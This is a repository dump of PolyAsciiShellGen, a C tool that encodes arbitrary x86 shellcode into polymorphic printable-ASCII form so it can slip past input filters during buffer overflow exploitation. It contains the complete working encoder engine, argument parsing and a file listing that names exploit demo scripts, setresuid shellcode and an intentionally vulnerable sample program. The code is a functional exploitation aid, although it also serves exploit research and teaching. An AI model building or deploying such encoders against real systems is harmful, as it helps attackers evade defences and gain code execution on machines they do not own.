├── AllocFunctions.c ├── AllocFunctions.h ├── AsciiShellEngine.c ├── AsciiShellEngine.h ├── CmdLineTtmt.c ├── CmdLineTtmt.h ├── LICENSE ├── README.md ├── demo ├── PolyAsciiShellGen ├── demo_PolyAsciiShellGen.sh ├── exec_wrapper ├── exec_wrapper.c ├── exploit_ascii_filter_sample.gdb ├── exploit_ascii_filter_sample.sh ├── setresuid_shellcode ├── setresuid_shellcode.asm ├── vuln_ascii_filter_sample └── vuln_ascii_filter_sample.c ├── main.c └── makefile /AllocFunctions.c: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: AllocFunctions.c 5 | //############ Licence: GPLv3 6 | //############ Description: memory allocation function. 7 | //################################################################ 8 | 9 | #include "AllocFunctions.h" 10 | 11 | // Performs a memory allocation. 12 | // 13 | // parameters: 14 | // alloSize: the memory allocation size 15 | // sizeType: the size type of the memory allocation 16 | // 17 | // return: a pointer to the new memory block or NULL if it fails. 18 | // 19 | void * mem_alloc(const size_t allocSize, size_t sizeType) 20 | { 21 | void *ptr = NULL; 22 | 23 | if(allocSize == 0 || sizeType == 0) 24 | return NULL; 25 | 26 | ptr = malloc(allocSize * sizeType); 27 | 28 | if(ptr == NULL) 29 | { 30 | printf("[-] %s : %s\n", __FUNCTION__, strerror(errno)); 31 | return NULL; 32 | } 33 | 34 | return ptr; 35 | } 36 | 37 | -------------------------------------------------------------------------------- /AllocFunctions.h: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: AllocFunctions.h 5 | //############ Licence: GPLv3 6 | //############ Description: memory allocation function. 7 | //################################################################ 8 | 9 | #ifndef ALLOCFUNCTIONS_H_INCLUDED 10 | #define ALLOCFUNCTIONS_H_INCLUDED 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | void * mem_alloc(const size_t allocSize, size_t sizeType); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /AsciiShellEngine.c: -------------------------------------------------------------------------------- 1 | //#################################################################### 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: AsciiShellEngine.c 5 | //############ Licence: GPLv3 6 | //############ Description: Polymorphic Ascii Shellcode Engine 7 | //############ based on Riley "caezar" Eller technique. 8 | //############ Bypassing MSB Data Filters for Buffer 9 | //############ Overflow Exploits on Intel Platforms. 10 | //#################################################################### 11 | 12 | #include "AsciiShellEngine.h" 13 | 14 | 15 | // Performs the memory allocation of the futur ascii shellcode. 16 | // 17 | // parameters: 18 | // shellcodeSize: the size of original shellcode in numerical form 19 | // nopSleedLoadShell: the size of the sleed between the loader and the decoded shellcode 20 | // buffer: a pointer to allocate the buffer to store the ascii shellcode 21 | // size: the size of buffer allocated 22 | // 23 | // return: 0 in sucess or -1 in failure. 24 | // 25 | int ascii_shellcode_alloc(const size_t shellcodeSize, const unsigned int nopSleedLoadShell, 26 | unsigned char **buffer, size_t *size) 27 | { 28 | size_t allocSize = 0; 29 | 30 | if(shellcodeSize == 0 || buffer == NULL) 31 | return 0; 32 | 33 | allocSize = ESP_INIT_SIZE 34 | + EAX_ZERO_SIZE 35 | + (SUB_SHELLCODE_TEMPLATE_SIZE * (shellcodeSize / 4)); 36 | 37 | if(nopSleedLoadShell > 0) 38 | { 39 | allocSize += SUB_SHELLCODE_TEMPLATE_SIZE; 40 | 41 | if(nopSleedLoadShell > 1) 42 | allocSize += SUB_NOP_TEMPLATE_SIZE * (nopSleedLoadShell-1); 43 | } 44 | 45 | *buffer = mem_alloc(allocSize + 1, sizeof(unsigned char)); 46 | if(*buffer == NULL) 47 | return -1; 48 | *size = allocSize + 1; 49 | 50 | return 0; 51 | } 52 | 53 | 54 | // Performs the encodage of the shellcode opcodes in ascii form with the Riley "caezar" Eller technique: 55 | // Bypassing MSB Data Filters for Buffer Overflow Exploits on Intel Platforms. 56 | // This is a incremental encoder with overflow. 57 | // 58 | // parameters: 59 | // start: four initial bytes to build the decoded shellcode 60 | // end: four decoded opcodes 61 | // opCodeAscii: an array of four word to store the substrate values to apply to the start value. 62 | // The substrate values are in ascii form. 63 | // 64 | // return: return 0 on failure or the number of word to substrate to the start value to get the the four 65 | // final opcodes. The opCodeAscii array contains a variable number of substrate values determined by 66 | // the return code. 67 | // 68 | int sub_encoder(const chunk start, const chunk end, EncodedOpcode opCodeAscii) 69 | { 70 | unsigned int sum, desired, overflow; 71 | int a, i, j, k, m, z, flag; 72 | unsigned char mem[CHR_SIZE+1]; 73 | 74 | memset(mem, 0, 70); 75 | strncpy((char*)mem, CHR, CHR_SIZE); 76 | strfry((char*)mem); 77 | 78 | for(a = 1; a < 5; ++a) 79 | { 80 | overflow = flag = 0; 81 | for(z = 0; z < 4; z++) 82 | { 83 | for(i = 0; i < CHR_SIZE; i++) 84 | { 85 | for(j = 0; j < CHR_SIZE; j++) 86 | { 87 | for(k = 0; k < CHR_SIZE; k++) 88 | { 89 | for(m = 0; m < CHR_SIZE; m++) 90 | { 91 | if(a < 2) j = CHR_SIZE + 1; 92 | if(a < 3) k = CHR_SIZE + 1; 93 | if(a < 4) m = CHR_SIZE + 1; 94 | sum = end[z] + overflow + mem[i] + mem[j] + mem[k] + mem[m]; 95 | desired = (sum & 0x000000ff); 96 | if(desired == start[z]) 97 | { 98 | overflow = (sum & 0x0000ff00) >> 8; 99 | 100 | if(i < CHR_SIZE) opCodeAscii[0][z] = mem[i]; 101 | if(j < CHR_SIZE) opCodeAscii[1][z] = mem[j]; 102 | if(k < CHR_SIZE) opCodeAscii[2][z] = mem[k]; 103 | if(m < CHR_SIZE) opCodeAscii[3][z] = mem[m]; 104 | 105 | i = j = k = m = CHR_SIZE + 2; 106 | ++flag; 107 | } 108 | } 109 | } 110 | } 111 | } 112 | } 113 | if(flag == 4) 114 | return a; 115 | } 116 | return -1; 117 | } 118 | 119 | 120 | // This function find two values to AND with the eax egister in order to set to zero the register. 121 | // 122 | // parameter: 123 | // first: four bytes to AND with eax 124 | // second: four bytes to AND with eax 125 | // 126 | // note: ((eax AND B) AND C) == (eax AND (B AND C)) 127 | // 128 | // return: 0 if the bytes was found or -1 in failure. 129 | // 130 | int and_eax_zero_encoder(chunk first, chunk second) 131 | { 132 | size_t i, j, k, m; 133 | size_t b, c, flag; 134 | char mem[CHR_SIZE+1]; 135 | 136 | memset(mem, 0, CHR_SIZE+1); 137 | strncpy((char*)mem, CHR, CHR_SIZE); 138 | strfry((char*)mem); 139 | 140 | for(i=0; i < CHR_SIZE; ++i) 141 | { 142 | for(j=0; j < CHR_SIZE; ++j) 143 | { 144 | for(k=0; k < CHR_SIZE; ++k) 145 | { 146 | for(m=0; m < CHR_SIZE; ++m) 147 | { 148 | first[0] = mem[i]; 149 | first[1] = mem[j]; 150 | first[2] = mem[k]; 151 | first[3] = mem[m]; 152 | 153 | for(c=0; c < 4; c++) 154 | { 155 | flag = 0; 156 | for(b=0; b < CHR_SIZE; ++b) 157 | { 158 | if((first[c] & CHR[b]) == 0) 159 | { 160 | second[c] = CHR[b]; 161 | b = CHR_SIZE; 162 | flag = 1; 163 | } 164 | } 165 | if(flag == 0) 166 | c = 4; 167 | if(flag == 1 && c == 3) 168 | return 0; 169 | } 170 | } 171 | } 172 | } 173 | } 174 | return 0; 175 | } 176 | 177 | 178 | // Buils the first block of the ascii shellcode that sets the value of the stack pointer (esp) register. 179 | // 180 | // parameters: 181 | // buffer: a buffer to store the first block of the ascii shellcode 182 | // size: the sie of the buffer 183 | // espOffset: the offset to add or to substrate to the stack pointer (esp) register 184 | // 185 | // return: 0 if success to build the first block of the ascii shellcode or -1 in failure. 186 | // 187 | int build_esp_init(unsigned char *buffer, size_t size, int espOffset) 188 | { 189 | chunk start, end; 190 | EncodedOpcode asciiOpcode; 191 | int subNb = 0; 192 | int i = 0; 193 | size_t opIndex = 0; 194 | 195 | 196 | if(buffer == NULL || size < ESP_INIT_SIZE) 197 | return -1; 198 | 199 | memset(&start, 0, 4); 200 | memcpy(&end, &espOffset, 4); 201 | 202 | subNb = sub_encoder(start, end, asciiOpcode); 203 | 204 | if(subNb < 0) 205 | { 206 | printf("[-] %s : Sub encoder error\n", __FUNCTION__); 207 | return -1; 208 | } 209 | 210 | buffer[opIndex++] = PUSH_ESP; 211 | buffer[opIndex++] = POP_EAX; 212 | 213 | for(i = 0; i < subNb; ++i) 214 | { 215 | buffer[opIndex++] = SUB_EAX_32; 216 | memcpy(buffer + opIndex, asciiOpcode[i], 4); 217 | opIndex += 4; 218 | } 219 | 220 | buffer[opIndex++] = PUSH_EAX; 221 | buffer[opIndex] = POP_ESP; 222 | 223 | return 0; 224 | } 225 | 226 | 227 | // Builds the second block of the ascii shellcode that sets the eax register to zero. 228 | // 229 | // parameters: 230 | // buffer: a buffer to store the second block of the ascii shellcode 231 | // size: the size of the buffer 232 | // 233 | // return: 0 if success to build the first block of the ascii shellcode or -1 in failure. 234 | // 235 | int build_eax_zero(unsigned char *buffer, size_t size) 236 | { 237 | chunk first, second; 238 | 239 | if(buffer == NULL || size < EAX_ZERO_SIZE) 240 | return -1; 241 | 242 | if(and_eax_zero_encoder(first, second) < 0) 243 | { 244 | printf("[-] %s : and eax zero encoder error\n", __FUNCTION__); 245 | return -1; 246 | } 247 | 248 | buffer[0] = AND_EAX_32; memcpy(buffer+1, first, 4); 249 | buffer[5] = AND_EAX_32; memcpy(buffer+6, second, 4); 250 | 251 | return 0; 252 | } 253 | 254 | 255 | // Builds the ascii nop sleed constructor to sleed the eip register to the decoded shellcode. 256 | // 257 | // parameters: 258 | // nopSleedToShell: the size of the nopsleed to sleed the eip register to the decoded shellcode 259 | // eax: the value of the eax register when the the nop sleed constructor is executed 260 | // buffer: a buffer to store the ascii nop sleed constructor 261 | // size: the size of the buffer 262 | // 263 | // return: 0 if success to build the nop sleed constructor or -1 in failure. 264 | // 265 | int build_loader_to_shellcode(const unsigned int nopSleedToShell, const chunk eax, 266 | unsigned char *buffer, size_t size) 267 | { 268 | EncodedOpcode asciiOpcode; 269 | size_t packerIndex = 0; 270 | chunk nopSleed = {NOP, NOP, NOP, NOP}; 271 | unsigned int i = 0; 272 | int j = 0; 273 | int subNb = 0; 274 | 275 | if(buffer == NULL 276 | || size < (SUB_SHELLCODE_TEMPLATE_SIZE + (nopSleedToShell - 1))) 277 | return -1; 278 | 279 | if(nopSleedToShell > 0) 280 | { 281 | subNb = sub_encoder(eax, nopSleed, asciiOpcode); 282 | if(subNb < 0) 283 | { 284 | printf("[-] %s : Sub encoder error : opcodes not found\n", __FUNCTION__); 285 | return -1; 286 | } 287 | 288 | for(j = 0; j < subNb; ++j) 289 | { 290 | buffer[packerIndex++] = SUB_EAX_32; 291 | memcpy(buffer + packerIndex, asciiOpcode[j], 4); 292 | packerIndex += 4; 293 | } 294 | 295 | if(nopSleedToShell >= 1) 296 | for(i = 0; i < nopSleedToShell; ++i) 297 | buffer[packerIndex++] = PUSH_EAX; 298 | } 299 | 300 | return 0; 301 | } 302 | 303 | 304 | // Builds the ascii shellcode packer. 305 | // 306 | // parameter: 307 | // shellcode: an Shellcode structure that contains the original shellcode to pack 308 | // nopSleedToShell: the size of the nopsleed to sleed the eip register to the decoded shellcode 309 | // buffer: a buffer to store the ascii shellcode packer 310 | // size: the size of the buffer 311 | // 312 | // return: 0 if success to build the ascii shellcode packer or -1 in failure. 313 | // 314 | int build_shellcode_packer(const struct Shellcode *shellcode, const unsigned int nopSleedToShell, 315 | unsigned char *buffer, size_t size) 316 | { 317 | chunk start, end; 318 | EncodedOpcode asciiOpcode; 319 | size_t i = 0; 320 | int j = 0; 321 | int subNb = 0; 322 | size_t chunkNb = 0; 323 | size_t packerIndex = 0; 324 | 325 | chunkNb = (shellcode->size / 4); 326 | 327 | if(shellcode == NULL || buffer == NULL 328 | || size < (chunkNb * SUB_SHELLCODE_TEMPLATE_SIZE) 329 | || chunkNb == 0) 330 | return -1; 331 | 332 | memset(&start, 0, 4); 333 | 334 | for(i = 0; i < chunkNb; ++i) 335 | { 336 | memcpy(&end, (shellcode->mem + shellcode->size - (4 + (4 * i))), 4); 337 | subNb = sub_encoder(start, end, asciiOpcode); 338 | if(subNb < 0) 339 | { 340 | printf("[-] %s : Sub encoder error : opcodes not found \n", __FUNCTION__); 341 | return -1; 342 | } 343 | 344 | for(j = 0; j < subNb; ++j) 345 | { 346 | buffer[packerIndex++] = SUB_EAX_32; 347 | memcpy(buffer + packerIndex, asciiOpcode[j], 4); 348 | packerIndex += 4; 349 | } 350 | 351 | buffer[packerIndex++] = PUSH_EAX; 352 | memcpy(start, end, 4); 353 | } 354 | 355 | if(build_loader_to_shellcode(nopSleedToShell, start, buffer + strlen((char*)buffer), 356 | size - strlen((char*)buffer)) < 0) 357 | return -1; 358 | 359 | return 0; 360 | } 361 | 362 | 363 | // The polymorphic ascii shellcode generator. 364 | // 365 | // parameters: 366 | // injection: an SmashStackArgs that contains the stack infoand the original shellcode 367 | // asciiShellcode: a pointer to an Shellcode structure to store the ascii shellcode 368 | // 369 | // return: 0 if the ascii shellcode is build or -1 on failure 370 | // 371 | int poly_ascii_shellcode_engine(const struct SmashStackArgs *injection, struct Shellcode *asciiShellcode) 372 | { 373 | size_t chunkAdd = 0; 374 | 375 | if(injection == NULL || asciiShellcode == NULL) 376 | return -1; 377 | 378 | if(ascii_shellcode_alloc(injection->shellcode.size, injection->nopSleedToShell, 379 | &asciiShellcode->mem, &asciiShellcode->size ) < 0) 380 | return -1; 381 | 382 | srand(time(NULL)); 383 | 384 | if(build_esp_init(asciiShellcode->mem, asciiShellcode->size, injection->espOffset) < 0) 385 | return -1; 386 | 387 | chunkAdd = strlen((char*)asciiShellcode->mem); 388 | if(build_eax_zero(asciiShellcode->mem + chunkAdd, asciiShellcode->size - chunkAdd) < 0) 389 | return -1; 390 | 391 | chunkAdd = strlen((char*)asciiShellcode->mem); 392 | if(build_shellcode_packer(&injection->shellcode, injection->nopSleedToShell, 393 | asciiShellcode->mem + chunkAdd, asciiShellcode->size - chunkAdd) < 0) 394 | return -1; 395 | 396 | return 0; 397 | } 398 | 399 | 400 | // The entry point of the PolyAsciiShellGen program. 401 | // 402 | // parameter: 403 | // argc: the argc argument from the main function 404 | // argv: the argv argument from the main function 405 | // 406 | // return: 0 in success or -1 in failure. 407 | // 408 | int poly_ascii_shellcode_entry(const int argc, const char *argv[]) 409 | { 410 | struct SmashStackArgs *injection = NULL; 411 | struct Shellcode asciiShell; 412 | 413 | if(cmd_ttmt(argc, (const char**)argv, &injection) < 0) 414 | return -1; 415 | 416 | if(poly_ascii_shellcode_engine(injection, &asciiShell) < 0) 417 | return -1; 418 | 419 | printf("%s\n", asciiShell.mem); 420 | 421 | free_smashstackargs(injection); 422 | if(asciiShell.mem != NULL) 423 | free(asciiShell.mem); 424 | 425 | return 0; 426 | } 427 | -------------------------------------------------------------------------------- /AsciiShellEngine.h: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: AsciiShellEngine.h 5 | //############ Licence: GPLv3 6 | //############ Description: Ascii Shellcode Engine based based on 7 | //############ Riley "caezar" Eller technique. 8 | //############ Bypassing MSB Data Filters for Buffer 9 | //############ Overflow Exploits on Intel Platforms. 10 | //################################################################ 11 | 12 | #ifndef ASCIISHELLENGINE_H_INCLUDED 13 | #define ASCIISHELLENGINE_H_INCLUDED 14 | 15 | #define _GNU_SOURCE 16 | 17 | #include 18 | #include "CmdLineTtmt.h" 19 | 20 | // Basic ascii set 21 | #define CHR "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-" 22 | #define CHR_SIZE 66 23 | 24 | // NOP opcode 25 | #define NOP 0x90 26 | 27 | // x86 ascii opcodes 28 | #define AND_EAX_32 '%' 29 | #define SUB_EAX_32 '-' 30 | #define PUSH_EAX 'P' 31 | #define POP_EAX 'X' 32 | #define PUSH_ESP 'T' 33 | #define POP_ESP '\\' 34 | 35 | // Ascii shellcode template size 36 | #define ESP_INIT_SIZE 19 37 | /* 38 | push esp T 39 | pop eax X 40 | sub, eax -xxxx 41 | sub, eax -xxxx 42 | sub, eax -xxxx 43 | push eax \ 44 | pop eax X 45 | */ 46 | #define EAX_ZERO_SIZE 10 47 | /* 48 | and eax, xxxx %xxxx 49 | and eax, xxxx %xxxx 50 | */ 51 | #define SUB_SHELLCODE_TEMPLATE_SIZE 21 52 | /* 53 | sub eax, xxxx -xxxx 54 | sub eax, xxxx -xxxx 55 | sub eax, xxxx -xxxx 56 | sub eax, xxxx -xxxx 57 | push eax P 58 | */ 59 | #define SUB_NOP_TEMPLATE_SIZE 1 60 | /* 61 | push eax P 62 | */ 63 | 64 | // sub encoder type 65 | typedef unsigned char EncodedOpcode[4][4]; 66 | typedef unsigned char chunk[4]; 67 | 68 | 69 | int ascii_shellcode_alloc(const size_t shellcodeSize, const unsigned int nopSleedLoadShell, 70 | unsigned char **buffer, size_t *size); 71 | int sub_encoder(const chunk start, const chunk end, EncodedOpcode opCodeAscii); 72 | int and_eax_zero_encoder(chunk first, chunk second); 73 | int build_esp_init(unsigned char *buffer, size_t size, int espOffset); 74 | int build_eax_zero(unsigned char *buffer, size_t size); 75 | int build_loader_to_shellcode(const unsigned int nopSleedToShell, const chunk eax, 76 | unsigned char *buffer, size_t size); 77 | int build_shellcode_packer(const struct Shellcode *shellcode, const unsigned int nopSleedToShell, 78 | unsigned char *buffer, size_t size); 79 | int poly_ascii_shellcode_engine(const struct SmashStackArgs *injection, struct Shellcode *asciiShellcode); 80 | int poly_ascii_shellcode_entry(const int argc, const char *argv[]); 81 | 82 | #endif 83 | -------------------------------------------------------------------------------- /CmdLineTtmt.c: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: CmdLineTtmt.c 5 | //############ Licence: GPLv3 6 | //############ Description: processing the command line of the 7 | //############ PolyAsciiShellGen program. 8 | //################################################################ 9 | 10 | #include "CmdLineTtmt.h" 11 | 12 | 13 | // The usage of the PolyAsciiShellGen program. 14 | // 15 | void usage(void) 16 | { 17 | puts("\n usage: PolyAsciiShellGen "\ 18 | " "\ 19 | " \n"); 20 | } 21 | 22 | 23 | // This function desallocates the memory for a SmashStackArgs structure. 24 | // 25 | // parameters: 26 | // net: a SmashStackArgs struture to desallocate 27 | // 28 | void free_smashstackargs(struct SmashStackArgs *args) 29 | { 30 | if(args != NULL) 31 | { 32 | if(&args->shellcode.mem != NULL) 33 | { 34 | free(args->shellcode.mem); 35 | args->shellcode.mem = NULL; 36 | } 37 | 38 | free(args); 39 | args = NULL; 40 | } 41 | } 42 | 43 | 44 | // Convert a string to a signed integer. 45 | // 46 | // parameters: 47 | // strValue: a signed integer in text form 48 | // integer: a signed integer to store the conversion 49 | // 50 | // return: 0 on success or -1 if it is not a valid value. 51 | // 52 | int stoi(const char *strValue, int *integer) 53 | { 54 | long int ret = 0; 55 | 56 | if(strValue == NULL || integer == NULL) 57 | return -1; 58 | *integer = 0; 59 | 60 | if(strlen(strValue) == 1 && *strValue == '0') 61 | return 0; 62 | 63 | ret = strtol(strValue, NULL, 0); 64 | if(ret == LONG_MAX || ret == LONG_MIN || ret == 0) 65 | return -1; 66 | if(ret < -2147483648 || ret > 2147483647) 67 | return -1; 68 | 69 | *integer = ret; 70 | return 0; 71 | 72 | } 73 | 74 | 75 | // Convert a string to an unsigned integer. 76 | // 77 | // parameters: 78 | // strValue: an unsigned integer in text form 79 | // integer: an unsigned integer to store the conversion 80 | // 81 | // return: 0 on success or -1 if it is not a valid value. 82 | // 83 | int stoui(const char *strValue, unsigned int *integer) 84 | { 85 | unsigned long int ret = 0; 86 | 87 | if(strValue == NULL || integer == NULL) 88 | return -1; 89 | *integer = 0; 90 | 91 | if(strlen(strValue) == 1 && *strValue == '0') 92 | return 0; 93 | 94 | ret = strtoul(strValue, NULL, 0); 95 | if(ret == ULONG_MAX || ret == 0) 96 | return -1; 97 | if(ret > 0xffffffff) 98 | return -1; 99 | 100 | *integer = ret; 101 | return 0; 102 | } 103 | 104 | 105 | // This function checks if the inputShellcode in text form is a valid shellcode. 106 | // The input shellcode must be of the form "\xOP\xOP..." 107 | // 108 | // parameters: 109 | // inputShellcode: the shellcode to check 110 | // 111 | // return: if is a valid shellcode the function returns 0. 112 | // If the shellcode if malformed the function returns -1. 113 | // 114 | int is_valid_shellcode(const char *shellcode) 115 | { 116 | size_t i = 0; 117 | size_t j = 0; 118 | size_t len = 0; 119 | 120 | if(shellcode == NULL) 121 | return -1; 122 | 123 | len = strlen(shellcode); 124 | 125 | if(len % 2 != 0) 126 | return -1; 127 | 128 | for(i = 0; i < len; ) 129 | { 130 | if(shellcode[i++] != '\\') 131 | return -1; 132 | 133 | if(shellcode[i++] != 'x') 134 | return -1; 135 | 136 | for(j = 0; j < 2; ++j) 137 | { 138 | 139 | if(shellcode[i] < 0x30 || shellcode[i] > 0x39) 140 | if(shellcode[i] < 0x61 || shellcode[i] > 0x66) 141 | if(shellcode[i] < 0x41 || shellcode[i] > 0x46) 142 | return -1; 143 | ++i; 144 | } 145 | } 146 | 147 | return 0; 148 | } 149 | 150 | 151 | // This function performs the conversion of a shellcode in text form to a shellcode in numerical 152 | // representation. 153 | // 154 | // parameters: 155 | // shellcode: a shellcode in text form ("\xOP\xOP") 156 | // numeric: a memory block to store the numerical shellcode 157 | // memSize: the size of memory block allocated 158 | // 159 | // return: return: 0 on success or -1 if it fails 160 | // 161 | int string_shellcode_numerical(const char *shellcode, unsigned char **numeric, size_t *size) 162 | { 163 | size_t allocSize = 0; 164 | size_t nbOpcode = 0; 165 | size_t rest = 0; 166 | size_t i = 0; 167 | size_t strIndex = 0; 168 | char tmp[3] = {0}; 169 | char opcode = 0; 170 | unsigned char *ptr = NULL; 171 | 172 | if(numeric == NULL || size == NULL || is_valid_shellcode(shellcode) < 0) 173 | return -1; 174 | 175 | nbOpcode = strlen(shellcode) /4; 176 | rest = nbOpcode % 4; 177 | if(rest == 0) 178 | allocSize = nbOpcode; 179 | else 180 | allocSize = nbOpcode + (4 - rest); 181 | 182 | *numeric = mem_alloc(allocSize, sizeof(unsigned char)); 183 | if(*numeric == NULL) 184 | return -1; 185 | *size = allocSize; 186 | 187 | tmp[2] = 0; 188 | strIndex = 2; 189 | ptr = *numeric; 190 | for(i = 0; i < nbOpcode; ++i) 191 | { 192 | tmp[0] = shellcode[strIndex++]; 193 | tmp[1] = shellcode[strIndex]; 194 | strIndex += 3; 195 | opcode = strtoul(tmp, 0, 16); 196 | *(ptr+i) = opcode; 197 | } 198 | 199 | if(rest != 0) 200 | for(i = 0; i < (4 - rest); ++i) 201 | *(ptr+nbOpcode+i) = 0x90; 202 | 203 | return 0; 204 | } 205 | 206 | 207 | // This function sets the PolyAsciiShellGen arguments from the command line. 208 | // 209 | // parameters: 210 | // argv: a tab of strings that contains the arguments of the command line 211 | // args: a SmashStackArgs structure to store the results of the arguments of the command line 212 | // 213 | // return: 0 on success or -1 if the arguments are not good. 214 | // 215 | int set_args_polyengine(const char *argv[], struct SmashStackArgs *injection) 216 | { 217 | if(argv == NULL || injection == NULL) 218 | return -1; 219 | 220 | if(stoi(argv[1], &injection->espOffset) < 0) 221 | { 222 | printf("[-] The esp offset is not valid: %s\n", argv[1]); 223 | return -1; 224 | } 225 | if(stoui(argv[2], &injection->nopSleedToShell) < 0) 226 | { 227 | printf("[-] The nop sleed value is not valid: %s\n", argv[2]); 228 | return -1; 229 | } 230 | if(is_valid_shellcode(argv[3]) < 0) 231 | { 232 | printf("[-] The shellcode's opcodes are malformed:\n %s\n", argv[3]); 233 | return -1; 234 | } 235 | if(string_shellcode_numerical(argv[3], &(injection->shellcode.mem), &(injection->shellcode.size)) < 0) 236 | return -1; 237 | 238 | return 0; 239 | } 240 | 241 | 242 | // This function performs the treatment of the command line's arguments. 243 | // 244 | // argc: the number of arguments of the commmand line 245 | // argv: a tab of strings that contains the arguments of the command line 246 | // args: a SmashStackArgs structure to store the results of the arguments of the command line 247 | // 248 | // return: 0 on success or -1 if there is not all the arguments in the command line. 249 | // 250 | int cmd_ttmt(const int argc, const char *argv[], struct SmashStackArgs **injection) 251 | { 252 | if(argv == NULL || injection == NULL) 253 | return -1; 254 | 255 | if(argc != 4) 256 | usage(); 257 | else 258 | { 259 | *injection = mem_alloc(1, sizeof(struct SmashStackArgs)); 260 | if(*injection == NULL) 261 | return -1; 262 | 263 | if(set_args_polyengine(argv, *injection) < 0) 264 | return -1; 265 | } 266 | 267 | return 0; 268 | } 269 | 270 | -------------------------------------------------------------------------------- /CmdLineTtmt.h: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: CmdLineTtmt.h 5 | //############ Licence: GPLv3 6 | //############ Description: processing the command line of the 7 | //############ PolyAsciiShellGen program. 8 | //################################################################ 9 | 10 | #ifndef CMDLINETTMT_H_INCLUDED 11 | #define CMDLINETTMT_H_INCLUDED 12 | 13 | #include 14 | #include "AllocFunctions.h" 15 | 16 | 17 | struct Shellcode 18 | { 19 | unsigned char *mem; 20 | size_t size; 21 | }; 22 | 23 | struct SmashStackArgs 24 | { 25 | int espOffset; 26 | unsigned int nopSleedToShell; 27 | struct Shellcode shellcode; 28 | }; 29 | 30 | 31 | void usage(void); 32 | void free_smashstackargs(struct SmashStackArgs *args); 33 | int stoui(const char *strValue, unsigned int *integer); 34 | int is_valid_shellcode(const char *shellcode); 35 | int string_shellcode_numerical(const char *shellcode, unsigned char **numeric, size_t *size); 36 | int set_args_polyengine(const char *argv[], struct SmashStackArgs *injection); 37 | int cmd_ttmt(const int argc, const char *argv[], struct SmashStackArgs **injection); 38 | 39 | #endif 40 | 41 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PolyAsciiShellGen: Caezar ASCII Shellcode Generator 2 | 3 | Full description and demonstration on this blog post: https://vincentdary.github.io/blog-posts/polyasciishellgen-caezar-ascii-shellcode-generator/index.html 4 | 5 | - [Build](#build) 6 